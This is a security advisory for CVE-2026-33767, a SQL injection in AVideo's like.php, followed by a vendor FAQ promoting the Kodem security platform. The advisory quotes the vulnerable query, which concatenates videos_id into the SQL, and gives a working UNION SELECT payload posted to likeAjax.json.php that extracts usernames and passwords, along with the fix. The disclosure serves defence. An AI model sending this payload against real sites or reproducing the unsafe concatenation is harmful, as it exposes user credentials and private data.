CVE-2026-33767

In objects/like.php, the getLike() method constructs a SQL query using a prepared statement placeholder (?) for users_id but directly concatenates $this->videos_id into the query string without parameterization. An attacker who can control the videos_id value (via a crafted request) can inject arbitrary SQL, bypassing the partial prepared-statement protection.

Details

File: objects/like.php

Vulnerable code:

$sql = "SELECT * FROM likes WHERE users_id = ? AND videos_id = ".$this->videos_id." LIMIT 1;";
$res = sqlDAL::readSql($sql, "i", [$this->users_id]);

The query mixes a parameterized placeholder for users_id with raw string concatenation for videos_id. The $this->videos_id value originates from user-supplied request input (typically a POST/GET parameter identifying the video being liked/disliked) and is not cast to integer or validated before being embedded in the SQL string.

All other queries in the same file correctly use ? placeholders for both columns:

// Correct pattern used elsewhere:
$sql = "SELECT count(*) as total FROM likes WHERE videos_id = ? AND like = 1";

The inconsistency means any attacker who can submit a like/dislike action with a crafted videos_id can inject SQL. Since like/dislike actions are typically available to any authenticated user, the attack surface is broad.

PoC

An attacker sends a like request with an injected videos_id:

POST /objects/likeAjax.json.php
videos_id=1 UNION SELECT user,password,3,4,5,6,7,8 FROM users-- -

This causes the backend to execute:

SELECT * FROM likes WHERE users_id = 1 AND videos_id = 1 UNION SELECT user,password,3,4,5,6,7,8 FROM users-- - LIMIT 1;

Result: full database read, user credentials, emails, private content, and any other data accessible to the MySQL user.

• Severity: High
• Authentication required: Yes (must be logged in to like a video), but all registered users qualify
• Impact: Full database read via UNION-based injection; potential for data modification or deletion depending on DB user privileges
• Fix: Replace the concatenation with a second ? placeholder and pass $this->videos_id as a bound integer parameter

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

Kodem intelligence

1. What is CVE-2026-33767? CVE-2026-33767 is a high-severity SQL injection vulnerability in wwbn/avideo (composer), affecting versions < 26.0. It is fixed in 26.0. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. Which versions of wwbn/avideo are affected by CVE-2026-33767? wwbn/avideo (composer) versions < 26.0 is affected.
3. Is there a fix for CVE-2026-33767? Yes. CVE-2026-33767 is fixed in 26.0. Upgrade to this version or later.
4. Is CVE-2026-33767 exploitable, and should I be worried? Whether CVE-2026-33767 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-33767 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-33767? Upgrade wwbn/avideo to 26.0 or later.